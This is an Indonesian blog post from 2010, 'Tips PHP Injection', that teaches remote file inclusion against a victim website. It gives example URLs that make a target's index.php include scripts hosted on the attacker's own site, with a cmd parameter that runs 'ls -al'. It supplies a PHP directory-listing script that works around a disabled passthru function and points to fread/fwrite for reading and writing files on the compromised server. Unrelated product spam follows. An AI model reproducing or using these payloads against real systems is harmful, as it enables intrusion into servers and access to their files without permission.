Rabu, 15 September 2010

Tips PHP Injection



Sudah banyak artikel2 yang membahas PHP injection. Salah satu command yang
sering dipergunakan dalam aksi 'php injection' adalah 'ls -al' untuk melihat
isi direktori.

Seperti misalnya:
http://www.korban.com/index.php?page=http://www.situsku.com/cmd.txt&?cmd=ls -al

dimana isi dari http://www.situsku.com/cmd.txt adalah

// begin of cmd.txt

// end of cmd.txt

Namun, terkadang aksi itu gagal, tidak menghasilkan apapun atau hanya
menghasilkan error. Salah satu kemungkinan penyebab kegagalan, fungsi dari
passthru di'disable' oleh sang admin. Tentunya hal ini dilakukan oleh sang
admin dengan alasan keamanan. Tapi kita bisa mengakalinya dengan membuat
script untuk melihat isi direktori.

Berikut script yang penulis modifikasi dari php manual:

// begining of list.txt

function lookdir($mydirectory) {
$strdir = array();
chdir($mydirectory);
echo "

Directory of $mydirectory ";
if($handle = opendir($mydirectory)) {
while (false !== ($file = readdir($handle))) {

$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
if ($file != ".") {
if ($file != "..") {
$strdir[] = $mydirectory . $file;//preg_replace('//./','/',$file);
}
}
//return $strdir;
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}


// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));


$array_file_owner = posix_getpwuid(fileowner($file));
$array_file_group = posix_getgrgid(filegroup($file));

$info .= " " . $array_file_owner['name'] . " ";
$info .= $array_file_group['name'] . " ";
$info .= filesize($file) . " ";
$info .= date("M d Y",filemtime($file)) . " ";
$info .= $file;

echo "
$info";
}
closedir($handle);
}
return $strdir;
} // end of function lookdir

$my_working_directory = getcwd();
lookdir($my_working_directory); // atau coba juga lookdir(".");

?>
// end of list.txt


Saat kita coba inject dengan menggunakan list.txt, misalnya:

http://www.korban.com/index.php?page=http://www.situsku.com/list.txt

akan menghasilkan isi direktori berikut permissionnya.

Tidak rapih memang, tapi tujuan kita untuk melihat isi direktori bisa
tercapai. Dengan fungsi fread,frwrite kita juga bisa membaca dan
menulis/membuat sebuah file.

Silahkan dikembangkan.

Brother TN360 High Yield Black Toner CartridgeTexas Instruments TI-84 Plus Silver Edition Graphing Calculator

0 comments: